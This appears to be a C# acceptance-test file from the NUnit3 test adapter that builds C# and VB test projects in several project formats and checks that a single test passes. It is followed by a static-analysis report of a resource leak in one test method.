+using NUnit.VisualStudio.TestAdapter.Tests.Acceptance.WorkspaceTools;
+
+namespace NUnit.VisualStudio.TestAdapter.Tests.Acceptance
+{
+    public sealed class SinglePassingTestResultTests : AcceptanceTests
+    {
+        private static void AddTestsCs(IsolatedWorkspace workspace)
+        {
+            workspace.AddFile("Tests.cs", @"
+                using NUnit.Framework;
+
+                namespace Test
+                {
+                    public class Tests
+                    {
+                        [Test]
+                        public void PassingTest()
+                        {
+                            Assert.Pass();
+                        }
+                    }
+                }");
+        }
+
+        private static void AddTestsVb(IsolatedWorkspace workspace)
+        {
+            workspace.AddFile("Tests.vb", @"
+                Imports NUnit.Framework
+
+                Namespace Test
+                    Public Class Tests
+
+                        <Test>
+                        Public Sub PassingTest()
+                            Assert.Pass()
+                        End Sub
+
+                    End Class
+                End Namespace");
+        }
+
+        [TestCaseSource(nameof(TargetFrameworks)), Platform("Win")]
+        public static void Single_target_csproj(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(new[] { $@"bin\Debug\{targetFramework}\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        [TestCaseSource(nameof(DotNetCliTargetFrameworks))]
+        public static void Single_target_csproj_dotnet_CLI(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [TestCaseSource(nameof(TargetFrameworks)), Platform("Win")]
+        public static void Single_target_vbproj(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(new[] { $@"bin\Debug\{targetFramework}\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        [TestCaseSource(nameof(DotNetCliTargetFrameworks))]
+        public static void Single_target_vbproj_dotnet_CLI(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Multi_target_csproj()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", TargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(
+                from targetFramework in TargetFrameworks
+                select $@"bin\Debug\{targetFramework}\Test.dll")
+                .AssertSinglePassingTest();
+        }
+
+        [Test]
+        public static void Multi_target_csproj_dotnet_CLI()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", DotNetCliTargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Multi_target_vbproj()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", TargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(
+                from targetFramework in TargetFrameworks
+                select $@"bin\Debug\{targetFramework}\Test.dll")
+                .AssertSinglePassingTest();
+        }
+
+        [Test]
+        public static void Multi_target_vbproj_dotnet_CLI()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", DotNetCliTargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_csproj_with_PackageReference()
+        {
+            var workspace = CreateWorkspace();
+            var nuvers = NuGetPackageVersion;
+            workspace.AddProject("Test.csproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{25455E6C-F4D9-41B7-A227-1527D93799B0}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <AppDesignerFolder>Properties</AppDesignerFolder>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <TargetFrameworkVersion>{LegacyProjectTargetFrameworkVersion}</TargetFrameworkVersion>
+                        <FileAlignment>512</FileAlignment>
+                        <Deterministic>true</Deterministic>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <Optimize>false</Optimize>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DefineConstants>DEBUG;TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DefineConstants>TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='System' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Xml' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.cs' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk'>
+                          <Version>15.9.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit'>
+                          <Version>3.11.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit3TestAdapter'>
+                          <Version>{nuvers}</Version>
+                        </PackageReference>
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.CSharp.targets' />
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            var result = workspace.VSTest(new[] { @"bin\Debug\Test.dll" });
+            result.AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_vbproj_with_PackageReference()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{C5C80224-B87B-4783-8CE1-45D64D940AAD}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <FileAlignment>512</FileAlignment>
+                        <MyType>Windows</MyType>
+                        <TargetFrameworkVersion>{LegacyProjectTargetFrameworkVersion}</TargetFrameworkVersion>
+                        <Deterministic>true</Deterministic>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <DefineDebug>true</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <DefineDebug>false</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionExplicit>On</OptionExplicit>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionCompare>Binary</OptionCompare>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionStrict>Off</OptionStrict>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionInfer>On</OptionInfer>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='System' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Xml' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Import Include='Microsoft.VisualBasic' />
+                        <Import Include='System' />
+                        <Import Include='System.Collections' />
+                        <Import Include='System.Collections.Generic' />
+                        <Import Include='System.Data' />
+                        <Import Include='System.Diagnostics' />
+                        <Import Include='System.Linq' />
+                        <Import Include='System.Xml.Linq' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.vb' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk'>
+                          <Version>15.9.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit'>
+                          <Version>3.11.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit3TestAdapter'>
+                          <Version>{NuGetPackageVersion}</Version>
+                        </PackageReference>
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.VisualBasic.targets' />
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(new[] { @"bin\Debug\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        private static void AddPackagesConfig(IsolatedWorkspace workspace)
+        {
+            workspace.AddFile("packages.config", $@"
+                <?xml version='1.0' encoding='utf-8'?>
+                <packages>
+                    <package id='Microsoft.CodeCoverage' version='15.9.0' targetFramework='net45' />
+                    <package id='Microsoft.NET.Test.Sdk' version='15.9.0' targetFramework='net45' />
+                    <package id='NUnit' version='3.11.0' targetFramework='net45' />
+                    <package id='NUnit3TestAdapter' version='{NuGetPackageVersion}' targetFramework='net45' />
+                </packages>");
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_csproj_with_packages_config()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props' Condition=""Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" />
+                      <Import Project='packages\NUnit.3.11.0\build\NUnit.props' Condition=""Exists('packages\NUnit.3.11.0\build\NUnit.props')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" />
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" />
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{107E3C5F-61D7-439E-8B8D-8BF4C9506F06}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <AppDesignerFolder>Properties</AppDesignerFolder>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
+                        <FileAlignment>512</FileAlignment>
+                        <Deterministic>true</Deterministic>
+                        <NuGetPackageImportStamp>
+                        </NuGetPackageImportStamp>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <Optimize>false</Optimize>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DefineConstants>DEBUG;TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DefineConstants>TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='Microsoft.VisualStudio.CodeCoverage.Shim, Version=15.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL'>
+                          <HintPath>packages\Microsoft.CodeCoverage.15.9.0\lib\net45\Microsoft.VisualStudio.CodeCoverage.Shim.dll</HintPath>
+                        </Reference>
+                        <Reference Include='nunit.framework, Version=3.11.0.0, Culture=neutral, PublicKeyToken=2638cd05610744eb, processorArchitecture=MSIL'>
+                          <HintPath>packages\NUnit.3.11.0\lib\net45\nunit.framework.dll</HintPath>
+                        </Reference>
+                        <Reference Include='System' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                        <Reference Include='Microsoft.CSharp' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Net.Http' />
+                        <Reference Include='System.Xml' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.cs' />
+                        <None Include='packages.config' />
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.CSharp.targets' />
+                      <Target Name='EnsureNuGetPackageBuildImports' BeforeTargets='PrepareForBuild'>
+                        <PropertyGroup>
+                          <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {{0}}.</ErrorText>
+                        </PropertyGroup>
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets'))"" />
+                        <Error Condition=""!Exists('packages\NUnit.3.11.0\build\NUnit.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit.3.11.0\build\NUnit.props'))"" />
+                        <Error Condition=""!Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props'))"" />
+                      </Target>
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" />
+                    </Project>");
+
+            AddPackagesConfig(workspace);
+            AddTestsCs(workspace);
+
+            workspace.NuGetRestore(packagesDirectory: "packages");
+
+            workspace.MSBuild();
+
+            workspace.VSTest(new[] { @"bin\Debug\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_vbproj_with_packages_config()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props' Condition=""Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" />
+                      <Import Project='packages\NUnit.3.11.0\build\NUnit.props' Condition=""Exists('packages\NUnit.3.11.0\build\NUnit.props')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" />
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" />
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{70AE110C-1736-45F4-8941-5AA3435B7B49}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <FileAlignment>512</FileAlignment>
+                        <MyType>Windows</MyType>
+                        <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
+                        <Deterministic>true</Deterministic>
+                        <NuGetPackageImportStamp>
+                        </NuGetPackageImportStamp>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <DefineDebug>true</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <DefineDebug>false</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionExplicit>On</OptionExplicit>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionCompare>Binary</OptionCompare>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionStrict>Off</OptionStrict>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionInfer>On</OptionInfer>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='Microsoft.VisualStudio.CodeCoverage.Shim, Version=15.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL'>
+                          <HintPath>packages\Microsoft.CodeCoverage.15.9.0\lib\net45\Microsoft.VisualStudio.CodeCoverage.Shim.dll</HintPath>
+                        </Reference>
+                        <Reference Include='nunit.framework, Version=3.11.0.0, Culture=neutral, PublicKeyToken=2638cd05610744eb, processorArchitecture=MSIL'>
+                          <HintPath>packages\NUnit.3.11.0\lib\net45\nunit.framework.dll</HintPath>
+                        </Reference>
+                        <Reference Include='System' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Xml' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                        <Reference Include='System.Net.Http' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Import Include='Microsoft.VisualBasic' />
+                        <Import Include='System' />
+                        <Import Include='System.Collections' />
+                        <Import Include='System.Collections.Generic' />
+                        <Import Include='System.Data' />
+                        <Import Include='System.Diagnostics' />
+                        <Import Include='System.Linq' />
+                        <Import Include='System.Xml.Linq' />
+                        <Import Include='System.Threading.Tasks' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.vb' />
+                        <None Include='packages.config' />
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.VisualBasic.targets' />
+                      <Target Name='EnsureNuGetPackageBuildImports' BeforeTargets='PrepareForBuild'>
+                        <PropertyGroup>
+                          <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {{0}}.</ErrorText>
+                        </PropertyGroup>
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets'))"" />
+                        <Error Condition=""!Exists('packages\NUnit.3.11.0\build\NUnit.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit.3.11.0\build\NUnit.props'))"" />
+                        <Error Condition=""!Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props'))"" />
+                      </Target>
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" />
+                    </Project>");
+
+            AddPackagesConfig(workspace);
+            AddTestsVb(workspace);
+
+            workspace.NuGetRestore(packagesDirectory: "packages");
+
+            workspace.MSBuild();
+
+            workspace.VSTest(new[] { @"bin\Debug\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from NUnit.VisualStudio.TestAdapter.Tests.Acceptance.WorkspaceTools.IsolatedWorkspace NUnit.VisualStudio.TestAdapter.Tests.Acceptance.AcceptanceTests::CreateWorkspace() at Line 521) of type NUnit.VisualStudio.TestAdapter.Tests.Acceptance.WorkspaceTools.IsolatedWorkspace in method "Void SinglePassingTestResultTests.Legacy_vbproj_with_packages_config()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void SinglePassingTestResultTests.Legacy_vbproj_with_packages_config()
+
+### File:
